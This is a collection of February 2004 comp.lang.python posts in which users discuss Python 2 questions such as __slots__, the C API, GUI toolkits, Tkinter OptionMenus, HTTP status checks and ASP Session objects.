A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?
A: Top-posting.
Q: What is the most annoying thing on usenet?

In article <vXbUb.55174$6O4.1637541 at bgtnsc04-news.ops.worldnet.att.net>,
wes weston  <wweston at att.net> wrote:
>Aahz wrote:
>> In article <XF9Ub.175053$6y6.3406052 at bgtnsc05-news.ops.worldnet.att.net>,
>> wes weston  <wweston at att.net> wrote:
>>>Frank Millman wrote:
>>>>
>>>>I want to control the assignment of a value to an attribute. Instead
>>>>of allowing it to be changed directly, I want to enforce that a method
>>>>is called, which will perform the assignment subject to various
>>>>checks.
>>>
>>>   See __slots__; not sure if there's a newer/better way.
>> 
>> You should be certain before even thinking of suggesting __slots__.
>> __slots__ is intended only to save memory; there are many problems with
>> using it if you don't know what you're doing.
>
>He might be more interested in naming his class vars with two leading
>underscores. eh? This mangles the name making it not as it appears
>in the text and not accessible by the expressed name. Does not the
>__slots__ statement keep "you" from creating a new unintended class
>var?

Two leading underscores would be good, but it doesn't directly solve the
problem about controlling access to the attribute.  Yes, __slots__
prevents the creation of unintended attributes, but it also has other --
frequently undesirable -- consequences.  I encourage you to look up some
of the old threads in Google.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From pinard at iro.umontreal.ca  Mon Feb  9 15:27:40 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 9 Feb 2004 15:27:40 -0500
Subject: converting base class instance to derived class instance
In-Reply-To: <102fhd93l1resfa@news.supernews.com>
References: <mailman.1372.1076344361.12720.python-list@python.org>
	<102fhd93l1resfa@news.supernews.com>
Message-ID: <20040209202740.GA12495@titan.progiciels-bpi.ca>

[John Roth]

> > If you want to do a little bit of deep magic, a factory function can
> > create an instance by calling object(), [...] My goof. The correct
> > call is: object.__new__(klas) [...]

OK, thanks. `object.__new__' is what I was using already.  It was
looking kosher to me because of the explanations in `descrintro'.  Maybe
I was seduced and tempted by the announced bit of deep magic, and was
trying to rediscover the secret.  My little Harry Potter side! :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb  3 22:03:53 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 4 Feb 2004 13:53:53 +1050
Subject: newbie with a gui question
References: <1020nse8569lr70@corp.supernews.com>
Message-ID: <slrnc20pe9.5dk.bignose-hates-spam@iris.polar.local>

On Tue, 3 Feb 2004 17:57:16 -0900, niekko wrote:
> I wrote a program for a class and now have to make a gui for it.  I've
> done several hours of research and am stuck.  Can someone point me in
> the right direction, please????

Possibly the course material?  I'd expect that your assignment is to
employ the methods that have been taught to you.

-- 
 \      "For my birthday I got a humidifier and a de-humidifier. I put |
  `\      them in the same room and let them fight it out."  -- Steven |
_o__)                                                           Wright |
Ben Finney <http://bignose.squidly.org/>


From bart_nessux at hotmail.com  Fri Feb 20 08:33:18 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Fri, 20 Feb 2004 08:33:18 -0500
Subject: int vs. float in benchmark testing
Message-ID: <c152au$t58$1@solaris.cc.vt.edu>

Would adding .0 to each of the numbers below turn this into a floating 
point test? Seems too easy.

def cpu_test():
    import time
    start = time.time()
    x = 0				# 0.0
    while x < 9999999:			# 9999999.0
       x = x + 1				# 1.0
       print x
    print (time.time()-start)/60
cpu_test()



From bob at redivi.com  Sat Feb 28 15:05:22 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sat, 28 Feb 2004 15:05:22 -0500
Subject: prob. creating deeply nested structures in Py/c api
References: <mailman.240.1077975712.8594.python-list@python.org>
Message-ID: <2004022815052216807%bob@redivicom>

On 2004-02-28 08:41:47 -0500, Ori Y <geensys at yahoo.com> said:

> 
> Hi , i'm having some difficulties regarding using the Python/c api.
>  I'm trying to bulid a deeply nested datastructure (i.e dict within a 
> dict or list within a dict)
> Building the data stracture seems ok on interperter, but after few 
> calls to the method
> returning the structure, and aft applying the Ctrl+D to exit interperter
>  i receive a 'segmentation fault'. ?#
> Further more when calling the program from python i receive the 
> dictionary as a string!
> "{foo: {1:'blah, 2:'boo'}, bar:1}"     (i have a feeling these problems 
> are related).
>  I'm using python 2.3 on a RH9 Linux machine.
> Advise would be very much appriciated.
>  Here is a shorter example of the consept  i'm trying to do :
>  static *PyObject blah (something)
> {
>   PyObject *dict1;
>   PyObject *dict2;
>   long x;
>   dict1 = PyDict_New();
>  dict2 = PyDict_New();
>  x = 1;
>  PyDict_SetItem(dict1, PyString_FromString("foo"),PyInt_FromLong(x)); 
> //setting first dict
>  //setting dict1 in dict2 and returning dict2
> 
> PyDict_SetItem(dict2, PyString_FromString("blah"),dict1); // expected 
> {blah:{foo:1}}

You should try Pyrex:
	http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/

It would make this just as easy as it is in Python.

-bob



From simoninusa2001 at yahoo.co.uk  Sun Feb  1 03:22:51 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 1 Feb 2004 00:22:51 -0800
Subject: wxPython documentation
References: <401c25a3$0$11357$636a55ce@news.free.fr>	<mailman.1084.1075587380.12720.python-list@python.org>	<30260531.0401311835.2246510f@posting.google.com>
	<mailman.1088.1075605926.12720.python-list@python.org>
Message-ID: <30260531.0402010022.526b23bb@posting.google.com>

Ken Godee <ken at perfect-image.com> wrote:

> I find Qt's c++ Doc's to be a great/complete set of documents.
> In a very short period of time one can just look at the c++ docs
> and know how to convert it to PyQt.

Very complete, but not too clear IME :-(

> But....If one finds it to confusing, "www.thekompany.com" sells
> a set of "Qt c++" docs converted to "PyQt", I think they get about 
> $15.00 bucks for it or/and it's included with Blackadder.

http://www.thekompany.com/products/pyqtdoc/

Yeah, $20, it's still basically Qt Assistant, but with some Python
demo's.

I might get BlackAdder for $80 seeing as it includes this and a [Py]QT
license, although I think I'll wait until they get the
Windows/OSX/Ruby stuff working again, I don't like a product that
removes functionality when it comes out of beta! At the moment I'm
doing OK with Qt Designer and pyuic ;o)

At the moment I'm stuck in GUI Hell! I like TKinter as its easy, but
it looks bad and has limited widgets, I like PyQt as it has lots of
[native] widgets and everyone I talk to is praising Qt, but I think
I'm going to go with wxPython as it's completely free, looks
native[ish] and has current working Linux/Windows versions.


From aahz at pythoncraft.com  Thu Feb  5 08:44:13 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 08:44:13 -0500
Subject: Modules, namespaces, parents, and import
References: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>
	<102247ofva9do52@corp.supernews.com>
	<bvrinb$gpc$1@panix1.panix.com>
	<1022p0elv2vsd98@corp.supernews.com>
Message-ID: <bvthbd$n6a$1@panix2.panix.com>

In article <1022p0elv2vsd98 at corp.supernews.com>,
R Baumann <rynt at 9yahoo.com> wrote:
>"Aahz" <aahz at pythoncraft.com> wrote in message
>news:bvrinb$gpc$1 at panix1.panix.com...
>> In article <102247ofva9do52 at corp.supernews.com>,
>> R Baumann <rynt at 9yahoo.com> wrote:
>>>
>>>Is there any way to unload a module after you're finished with it and
>>>will absolutely no longer need it?
>>
>> In theory, yes; in practice, no.  Why do you want to do this?
>
>Just a for instance -- Let's suppose that I had a fairly large
>"configuration loader" module that is used once in an application, and
>is never called upon again.  Why not "unload" or "release" that module
>from the interpreter's workspace, freeing up that chunk of memory?  If
>there's no need to use the module again, there's no need to keep it in
>memory, right?

What is "fairly large"?  If you mean that the data it loads is large,
but no longer needed after initalization, it should be simple enough to
discard the data -- provided you really don't need it.  If you mean that
the code is large, I've got a difficult time imagining a module large
enough to make a different to a Python application on a typical modern
machine.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From a_salnikov at yahoo.com  Thu Feb 12 12:47:18 2004
From: a_salnikov at yahoo.com (Andy Salnikov)
Date: Thu, 12 Feb 2004 09:47:18 -0800
Subject: fast QListView numerical sort
References: <c0fn8h$pfp$1@news.rz.uni-karlsruhe.de>
Message-ID: <c0ge7a$4ok$1@news.Stanford.EDU>


"Uwe Mayer" <merkosh at hadiko.de> wrote in message
news:c0fn8h$pfp$1 at news.rz.uni-karlsruhe.de...
> Hi,
>
> Using PyQt I got a QListView with about 800 entries now (but its intended
to
> be scalable up to about 3000).
> The first column contains numerical data. Now Qt does the sorting all by
its
> self and quite fast enough. By default it sorts alphanumerically, i.e. 1
10
> 100 101 110 111 2 ...
>
> Solutions on the web suggested left padding the digits with white spaces
> which didn't work for me.

  Hmm, I'd expect it to work.

> Left padding with 0's does not look good.
> Qt Manual says you can overwrite the compare method
QListViewItem.compare -
> which I did:
>
> QListViewItem.compare = lambda s,a,b,c: s.text(0).toInt()[0]
> -a.text(0).toInt()[0]
>
> The compare method returns < 0 for "smaller", 0 for "equal", > 0 for
> "bigger".
> Doing so works, but causes a 2 sec delay each time a re-sort has to be
done
> - which is rather annoying (at only less than 1/3 of its expected load!)
>
  Well, this probably comes from PyQt's nature - its a layer between Qt
(which is C++)
and Python. QListView calls some C++ function to sort its items, which in
turn makes
a lot of calls to QListViewItem::compare(). Every call to compare() has to
be
translated from C++ world to Python world, and the result returned back.

> Solutions I could come up with are:
> a. derive a C++ QListViewItem that does the numerical sorting and use this
> instead of the default QListViewItem in the hope it'll be faster
> pro: probably the easyest (faster? fast enough?)
> con: not portable
>
  That should be fast enough, I guess, this is the ultimate speed you can
get.
Why isn't it portable?

> b. implement all sorting and inserting related functions by myself in
Python
> and do the sorting from Python
> pro: portable
> con: much more coding to be done; probably contains more bugs
>
  I'm not at all sure that it will be faster than what you currently have.
It sure might be
because you'd remove most of that translation layer calls.

> Which do you favour or do you have other suggestions?
>
  I'd say check that space-filled approach. It should work one way or
another.

  Cheers,
  Andy.



From m at poo.com  Fri Feb 13 13:36:44 2004
From: m at poo.com (Mike C)
Date: Fri, 13 Feb 2004 10:36:44 -0800
Subject: Getting server status response from HTTP request
Message-ID: <Je6dna82Z9mjhLDdRVn-jw@speakeasy.net>

First of all, I am a complete newbie to Python, but have been impressed 
with how easy the language has been to pick up.

I am trying to write a script that checks to see if the web / 
application server is up. I have the following code that works:

--
import httplib

try:
     httpobj = httplib.HTTPConnection('www.domain.com', 80)
     httpobj.connect();
     httpobj.putrequest('GET', '/foo/ping.cfm')
     httpobj.putheader('Accept', '*/*')
     httpobj.endheaders()

     reply = httpobj.getresponse()
     httpobj.close();

     if reply.status != 200:
     	print "There may be a problem with the server. Response Status :", 
reply.status
     else:
     	print "server is fine"
     	
except Exception:
     print "An exception occured"
--

I was curious if anyone had suggestions on a better way to do this. I 
tried to use urllin2, but could not figure out how to retrieve the 
status code.

mike c


From tjreedy at udel.edu  Thu Feb 19 09:18:48 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 19 Feb 2004 09:18:48 -0500
Subject: Listbox.append()
References: <c12cv4$lqi$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <c12gk6$gji$1@sea.gmane.org>


"Jos? Carlos" <josecarlos at siadv.com> wrote in message
news:c12cv4$lqi$1 at nsnmrro2-gest.nuria.telefonica-data.net...
> Hi.
>
> How can i do to using a listbox.append(), it adds item in the first
line.?

Responding to what I think you asked: append means 'add to the end'.  That
is what list.append does and what I presume listbox.append does.  To insert
an item elsewhere, there is list.insert.  I don't know whether listbox has
an insert method or not.  Check the docs more carefully.

TJR






From salvatore at nolog.org  Sat Feb 21 20:38:33 2004
From: salvatore at nolog.org (Salvatore)
Date: Sun, 22 Feb 2004 02:38:33 +0100
Subject: Windows Service
In-Reply-To: <c16vop$87n$3@news.service.uci.edu>
References: <c1600h$74i$1@news-reader3.wanadoo.fr>
	<c16vop$87n$3@news.service.uci.edu>
Message-ID: <c1916c$3ra$1@news-reader4.wanadoo.fr>

Josiah Carlson wrote:
>> I would like to create Windows Services from python scripts, how can I 
>> find documentation about that ?
> 
> 
> Check out py2exe: http://starship.python.net/crew/theller/py2exe/
> 
> Depending on what you want to do, you may also want to check out pywin32 
> (used to be called win32all): https://sourceforge.net/projects/pywin32/
> 
>  - Josiah
Thanks Josia



From deets_noospaam at web.de  Mon Feb  2 19:08:39 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Tue, 03 Feb 2004 01:08:39 +0100
Subject: Produce anti-noise
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>
	<bvmlik$kam$06$1@news.t-online.com>
	<bvmo66$afc$1@news.service.uci.edu>
Message-ID: <bvmoq7$ki$00$1@news.t-online.com>

> Perhaps I'm not understanding the original question, but if one can get
> the signed (-32768...32767) audio input signals, make it into a numeric
> array (using Numeric or what have you), multiply that numeric array by
> -1, then output the signal, it would be relatively easy to invert the
> phase.

Then you didn't inverse the phase, but amplitude. Phases can be shift.

Regards,

Diez


From stewart at midtoad.homelinux.org  Wed Feb 25 01:57:30 2004
From: stewart at midtoad.homelinux.org (Stewart Midwinter)
Date: Tue, 24 Feb 2004 23:57:30 -0700
Subject: How to link 3 Tkinter OptionMenu lists?
Message-ID: <20040224235730.3f84b976@pc-00065.midtoad.homelinux.org>

I would like to link the contents of three OptionMenu lists. When I select an
item from the first list (call it continents), the contents of the 2nd list
(call it countries) would update. And in turn the contents of the 3rd list (call
it states would be updated by a change in the 2nd list.  If anyone can share a
recipe or some ideas, I'd be grateful!

Here's some sample code that displays three OptionMenus, but doesn't update the
list contents :-(

---
#file selectSystem.py
title = 'linked OptionMenus'

# Import Pmw from this directory tree.
import sys
sys.path[:0] = ['../../..']

import Tkinter
import Pmw, re

global continentList, countryList, stateList

continentList = ['N.America','C. America', 'S. America']
countryList   = [['Canada','USA','Mexico'],
		['Guatemala','Nicaragua','Panama'],
		['Venezuela','Colombia','Ecuador']]
stateList     = [[['BC','Alberta','Saskatchewan','others'],
		['California','Oregon','Washington','others'],
		['Michoacan','Oaxaca','Monterrey','others']],
		[['Guatemala states'],['Nicaragua states'],['Panama states']],
		[['Venezuela states'],['Colombia states'],['Ecuador states']]]

# default selection
continentItem = continentList[0]
countryItem   = countryList[0][0]
stateItem     = stateList[0][0][0]

class selectSystem:
    def __init__(self, parent):
	# Create and pack the OptionMenu megawidgets.
	# The first one has a textvariable.
	self.var1 = Tkinter.StringVar()
	self.var2 = Tkinter.StringVar()
	self.var3 = Tkinter.StringVar()
	self.var1.set(continentItem)	# N. America
	self.var2.set(countryItem)	# Canada
	self.var3.set(stateItem)	# B.C.

	self.method1_menu = Pmw.OptionMenu(parent,
		labelpos = 'w',
		label_text = 'Select Continent:',
		menubutton_textvariable = self.var1,
		items = continentList,
		menubutton_width = 20,
		menubutton_direction = 'flush',
		command = self._getSelection
	)
	self.method1_menu.pack(anchor = 'w', padx = 10, pady = 10)

	self.method2_menu = Pmw.OptionMenu (parent,
		labelpos = 'w',
		label_text = 'Select country:',
		menubutton_textvariable = self.var2,
		items = countryList[0],
		menubutton_width = 20,
		menubutton_direction = 'flush',
		command = self._getSelection
	)
	self.method2_menu.pack(anchor = 'w', padx = 10, pady = 10)

	self.method3_menu = Pmw.OptionMenu (parent,
		labelpos = 'w',
		label_text = 'Select state:',
		menubutton_textvariable = self.var3,
		items = stateList[0][0],
		menubutton_width = 20,
		menubutton_direction = 'flush' ,
		command = self._getSelection
	)
	self.method3_menu.pack(anchor = 'w', padx = 10, pady = 10)

	menus = (self.method1_menu, self.method2_menu, self.method3_menu)
	Pmw.alignlabels(menus)

	# Create the dialog.
	self.dialog = Pmw.Dialog(parent,
	    buttons = ('OK', 'Apply', 'Cancel', 'Help'),
	    defaultbutton = 'OK',
	    title = 'Select State',
	    command = self.execute)
	self.dialog.withdraw()

	# Add some contents to the dialog.
	w = Tkinter.Label(self.dialog.interior(),
	    text = 'Pmw Dialog\n(put your widgets here)',
	    background = 'black',
	    foreground = 'white',
	    pady = 20)
	w.pack(expand = 1, fill = 'both', padx = 4, pady = 4)

    def showAppModal(self):
        self.dialog.activate(geometry = 'centerscreenalways')

    def execute(self, result):
	print 'You clicked on', result
	if result not in ('Apply', 'Help'):
	    self.dialog.deactivate(result)

    def _getSelection(self, choice):
	# Can use 'self.var.get()' instead of 'getcurselection()'.
	print 'You have chosen %s : %s : %s' % \
            (self.var1.get(), 
	     self.var2.get(), 
	     self.var3.get() )
	print choice  # debug
	i2 = indexContinent(self.var1.get())
	self.var2.set(countryList[i2][0])
	countryItem = countryList[i2]
	#print pipelineItems  # debug
	self.method2_menu.config(items = countryList)
	#s3 = systemElements.indexpipe(s2,test2)

    def __call__(self):
	self.dialog.show()

def indexContinent(name):
	found = 'false'
	for i in range(len(continentList)):
		check = continentList[i]
		# print 'checking %s in %s' % (name, check)  # debug
		if re.search(name,check):
			found = 'true'
			break
	print found
	if (found=='true'):
		#print 'index of %s is %s' % (name,i)  # debug
		return i
	else:
		return -1

def indexCountry(continentindex, name):
	found = 'false'
	for i in range(len(countryList[continentindex])):
		check = countryList[continentindex][i]
		# print 'checking %s in %s' % (name, check)  # debug
		if re.search(name,check):
			found = 'true'
			break
	print found
	if (found=='true'):
		#print 'index of %s is %s' % (name,i)  # debug
		return i
	else:
		return -1


#############################

# Create selectSystem in root window for testing.
if __name__ == '__main__':
    root = Tkinter.Tk()
    Pmw.initialise(root)
    root.title(title)

    OKButton = Tkinter.Button(root, text = 'OK', command = root.destroy)
    OKButton.pack(side = 'bottom')

    widget = selectSystem(root)
    root.mainloop()
-----



-- 
Stewart Midwinter
running on Mandrake Linux 9.2
PGP public key at: http://www.keyserver.net
e-mail: Stewart 'at' Midwinter.ca, stewart 'at' midtoad.homelinux.org
web: http://www.midwinter.ca, http://midtoad.homelinux.org
voice: +1.403.714.4329

Umwelt schuetzen, Rad benuetzen!





From martin at v.loewis.de  Tue Feb 10 16:07:17 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 10 Feb 2004 22:07:17 +0100
Subject: package similar to XML::Simple
In-Reply-To: <40294322.7AF2C6D7@engcorp.com>
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com>
Message-ID: <c0bh63$jp2$05$1@news.t-online.com>

Peter Hansen wrote:

> See my reply to Brian Q...  I can accept that, but read more into Uche's
> objection than he probably meant.  It now seems rather over the top to
> write an article lambasting the product for something that would normally
> just be considered a simple bug/defect in the software, unless the
> maintainers have in effect refused to fix it.

If a parser prints a message "not a valid 8-bit XML character", then it
can't be an XML parser. XML does not have a notion even remotely related
to "8-bit characters".

Regards,
Martin



From fknapp at chartermi.net  Sun Feb 15 07:30:20 2004
From: fknapp at chartermi.net (Fknapp)
Date: 15 Feb 2004 04:30:20 -0800
Subject: sending output
Message-ID: <c871260e.0402150430.6fc318e4@posting.google.com>

I'm new to boa constructor, however I went through the tutorial and
loved it. I am trying to create a simple math program for my 6 yr old
daughter, I am creating a window that askes for two numbers and then
asks for the total, based on what they enter it compares and says that
is correct or that is wrong. I created a python script that works,
however when I try to import and say "myscript".DoThis() I get all
kinds of sytax errors. Any help would be appriciated


From shalabh at cafepy.com  Sun Feb 29 23:32:23 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Sun, 29 Feb 2004 20:32:23 -0800
Subject: How to use __getattribute__ to access a class attribute?
In-Reply-To: <40425d1b$0$41761$5fc3050@dreader2.news.tiscali.nl>
References: <40425d1b$0$41761$5fc3050@dreader2.news.tiscali.nl>
Message-ID: <c1ue8h$mv8$1@sea.gmane.org>

Ruud de Jong wrote:
> I have the situation where I need to construct the name
> of a static method, and then retrieve the corresponding
> function from a class object.

If what you're trying to do is get C.a (where C is the class and a is 
the name of the staticmethod) but all you have is the class C and a 
string mname = "a", then just getattr(C, mname) should work. Generally 
this works for any attribute access where you have the attribute name in 
another variable.

Another way to get the naked function, which also works for 
classmethods, is to do C.__dict__['a']. See comments below that explain 
what you see.

> I thought I could just use __getattribute__ for this purpose.
> This works fine if I already have an instantiation of the class,
> but not when I try this on the class object directly.
> 
> A bare bones example:
> 
>  >>> class C(object):
>     def a():
>         print "static method a"
>     a = staticmethod(a)
> 
> It works for a instantiation of class C:
>     
>  >>> x = C()
>  >>> x.a
> <function a at 0x00A981B0>
>  >>> x.__getattribute__('a')
> <function a at 0x00A981B0>
>  >>> x.__getattribute__('a')()
> static method a

When Python comes across x.a, it doesn't call x.__getattribute__('a'), 
it calls type(x).__getattribute__(x, 'a'). Now type(x) is C, and it just 
so happens (in this case) that x.__getattribute__ also ends up calling 
the same method, since x doesn't have a __getattribute__ of its own. 
This is why what you do above works.

> But for the class object it works differently:
> 
>  >>> C.a
> <function a at 0x00A981B0>
>  >>> C.__getattribute__(C,'a')
> <staticmethod object at 0x00AC6A10>
>  >>> C.a()
> static method a
>  >>> C.__getattribute__(C,'a')()
> 
> Traceback (most recent call last):
>   File "<pyshell#219>", line 1, in -toplevel-
>     C.__getattribute__(C,'a')()
> TypeError: 'staticmethod' object is not callable

To repeat the same experiment, you should call 
type(C).__getattribute__(C, 'a'). Note that in this case C *has* its own 
__getattribute__ attribute (which is meant for instances of C, not C 
itself). In fact you do this later, and it works. Hmm, at first glance 
I'd expect what you do above to return an exception if passed C instead 
of an instance of C (like any other well behaved method). I don't know 
why that doesn't happen.

In conclusion, __getattribute__() does return the computed attribute 
value, but for an object o it is called on the type(o) and not o itself. 
Also, getattr() is usually all you need.

HTH,
Shalabh





From http  Wed Feb 18 22:03:22 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 19:03:22 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
Message-ID: <7xd68bzs79.fsf@ruckus.brouhaha.com>

Joe Mason <joe at notcharles.ca> writes:
> > There's nothing implicit about an assignment expression.
> 
> Except the return value.

Huh?  It's an expression, the value is explicit.


From Holger.Joukl at LBBW.de  Fri Feb 20 09:06:28 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Fri, 20 Feb 2004 15:06:28 +0100
Subject: eval ? ['LBBW': checked]
Message-ID: <OF5B769463.B276766E-ONC1256E40.004CF135@lbbw.sko.de>

You can use the exec statement (note that I set the if-condition to
1=true for the example, and I used different names for outer and inner
loop indexes):

>>> for index in range(1,4):
...     list = []
...     for inner in range(1,7):
...             if 1:
...                     list.append(inner)
...     foo = "list_" + str(index) + "= list"
...     exec foo
...
>>> list_1
[1, 2, 3, 4, 5, 6]
>>> list_2
[1, 2, 3, 4, 5, 6]
>>> dir()
['__builtins__', '__doc__', '__name__', 'foo', 'index', 'inner', 'list',
'list_1', 'list_2', 'list_3']
>>> globals()
{'list_3': [1, 2, 3, 4, 5, 6], 'index': 3, 'list_1': [1, 2, 3, 4, 5, 6],
'list_2': [1, 2, 3, 4, 5, 6], '__builtins__': <module '__builtin__'
(built-in)>, 'list': [1, 2, 3, 4, 5, 6], 'inner': 6, '__name__':
'__main__', 'foo': 'list_3= list', '__doc__': None}

__________________



I'm trying to use eval (is the right function? ) to generate empty lists
with different names(es. list_1, list_2, list_3, ...) in a loop similar
to:

for index in range(1,4):
 list=[]
 for index in range(1,7):
  if <condition>:
   list.append(1)
 foo='list_'+str(index)+'=list'
 eval(foo)

I am not a programmer as you probably see from the code and I do not
even know if this is the right approach to do that in Python (I used
this structure with Matlab that I want now to dismiss ...)

Any help?
Thanks
angelo

--
http://mail.python.org/mailman/listinfo/python-list



+----------------------------------------------------------------------+
| LBBW Security Information                                            |
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+----------------------------------------------------------------------+


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From FBatista at uniFON.com.ar  Fri Feb 20 07:55:13 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Fri, 20 Feb 2004 09:55:13 -0300
Subject: `If ` Q from newbie
Message-ID: <A128D751272CD411BC9200508BC2194D0338363B@escpl.tcp.com.ar>

ipellew at pipemedia.co.uk wrote:

#- My problem is testing what is coming back from a def() in
#- pullparser.py
#- I bet this is me not understanding something in Python.
#- 
#- I do
#- .....
#- tk = p.get_token()
#- print tk
#- ......
#- 
#- and get:-
#- 1  Token('data', '\n \n\n', None)
#- 2  Token('comment', '#include 
#- virtual="/software/main/inc/warning.inc"
#- ', None)
#- 3  Token('data', '\n\n', None)
#- 4  Token('startendtag', 'meta', [('name', 'DC.Rights'), ('content',
#- 'Copyright (c) 2004 by IBM Corporation')])
#- 5  Token('data', '\n', None)
#- 6  Token('startendtag', 'meta', [('name', 'Security'), ('content',
#- 'Public')])
#- 7  Token('data', '\n', None)
#- 8  Token('startendtag', 'meta', [('name', 'Robots'), ('content',
#- 'index,follow')])
#- 9  Token('data', '\n', None)
#-     Etc.
#- 
#- I wanna 
#- "if (tk????? is None): continue"

Really can not understand what you want.

Example?

.	Facundo





. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
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ella) contenida en este mensaje. Por favor notif?quenos respondiendo al
remitente, borre el mensaje original y borre las copias (impresas o grabadas
en cualquier medio magn?tico) que pueda haber realizado del mismo. 

Todas las opiniones contenidas en este mail son propias del autor del
mensaje y no necesariamente coinciden con las de Telef?nica Comunicaciones
Personales S.A. o alguna empresa asociada. 

Los mensajes electr?nicos pueden ser alterados, motivo por el cual
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From omission9 at invalid.email.info  Tue Feb 24 21:27:32 2004
From: omission9 at invalid.email.info (omission9)
Date: Wed, 25 Feb 2004 02:27:32 GMT
Subject: python 2.3.2 hangs when returning an int
In-Reply-To: <defa238f.0402230806.69f365a0@posting.google.com>
References: <defa238f.0402230806.69f365a0@posting.google.com>
Message-ID: <oKT_b.3450$Xv2.1632@nwrddc03.gnilink.net>

Thanks to all who responded.  This took me forever to replicate and is 
not that easy to demonstrate outside of my fairly complex application. 
Basically, I feel that this is the fault of the Python garbage 
collector. What was happening was that in one function I locally defined 
a class which extended wxGrid. In  another function, which was called by 
the first one mentioned, I  instantiated another instance, local to the 
function, of that class. It  seems that even though the wxGrid class 
used in the calling function was  only used after the function call 
some stray references or something to  the other instance were still 
drifting around in the interpreter which  were causing some bizarro 
problems like the one in my original post. By  eliminating the instance 
in the function that was being called I  eliminated the problem. 
BIZARRE!! What made this so awful was that it  took many many iterations 
of these functions to generate the error. I  have no idea why it didn't 
blow the first, say, hundred times through.
Maybe if I ever get the motivation I'll attach a C debugger to the whole 
thing and look deeper into the guts.


omission9 wrote:

> Any advice on the following would be much appreciated. I have thrown 
> everything I have at it and am completely stumped. I apologize for the 
> length, I have tried to be as succint as possible.
> 
> I have a pythoncard/wxPython application. The application works well 
> except that users were reporting occasional crashes. The application 
> would simply stop and just hang. I was able to reproduce the bug 
> faithfully and ran the application in the python debugger pdb.py.
> The trace is below and I simply cannot understand why it is hanging 
> where it is. The application gets stuck executing
> 
> return len(self.data[0])
> 
> which is in this function
> 
>     def GetNumberCols(self):
>         if len(self.data) <= 0:
>             return 0
>         else:    
>             return len(self.data[0])
> 
> This works many many times during the applications execution, indeed 
> several successful runs of this line are visible immediatley above the 
> hang. I have also printed out the value of self.data. This is a list 
> containing 12 inner lists each of length 3 at the point of the hang and 
> is never larger than that.
> What on earth could cause this to stop the interpreter cold in its 
> tracks without an exception being thrown? CPU usage on the machine is 
> high throughout the application's execution and stays as such after the 
> "hang" begins. I eventually kill the app although I have let it run for 
> a long time and it never leaves this line.
> For what its worth, I am using python 2.3.2 on windows2k.
> 
> Anyone have idea what could be happening?
> 
>   c:\python23\lib\site-packages\wxpython\grid.py(664)_setOORInfo()->None
>   -> return val
>   (Pdb) s
>   --Return--
>    c:\python23\lib\site-packages\wxpython\grid.py(850)__init__()->None
>   -> self._setOORInfo(self)
>   (Pdb) s
> 
>  
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(17)__init
> 
>   __()
>   -> self.data = data
>   (Pdb) s
> 
>  
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
> 
>   __()
>   -> self.colLabels = headings
>   (Pdb) s



From gandalf at geochemsource.com  Tue Feb 24 13:22:57 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Tue, 24 Feb 2004 19:22:57 +0100
Subject: Session object in ASP script
Message-ID: <403B9681.3030200@geochemsource.com>


  Hi All!

I'm using IIS with python. I'm trying to use this combination for the 
first time. I have a problem here.
I cannot use the Session object. I tried these:

Response.write(str(Session))
Response.write("\n")
Response.write(str(Session.Contents.Count))
Response.write("\n")
Response.write(str(Session.Contents.Item("foo")))
Response.write("\n")
Response.write(str(Session.SessionID))

...and I got these results:

<COMObject Session>
0
None
455980977


That is fine. But I cannot assign new items to the Session. For example:

Session.Contents.Item("foo") = 1            -> HTTP/1.1  500 Server Error
Session("foo") = 1                                  -> HTTP/1.1  500 
Server Error
Session.foo = 1                                      -> AttributeError: foo

Most annoying: there is no traceback, no useful error message. Only this 
500 (internal server error).
In VBScript I could simply do

Session("foo") = 1

In JScript I could do this either. How can I use the Session object with 
ASP/Python? Can somebody help me?
Do I have to implement my own session handling? :-( I would not like to. 
Thanks in advance.

   G

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From barry at python.org  Tue Feb 17 10:56:04 2004
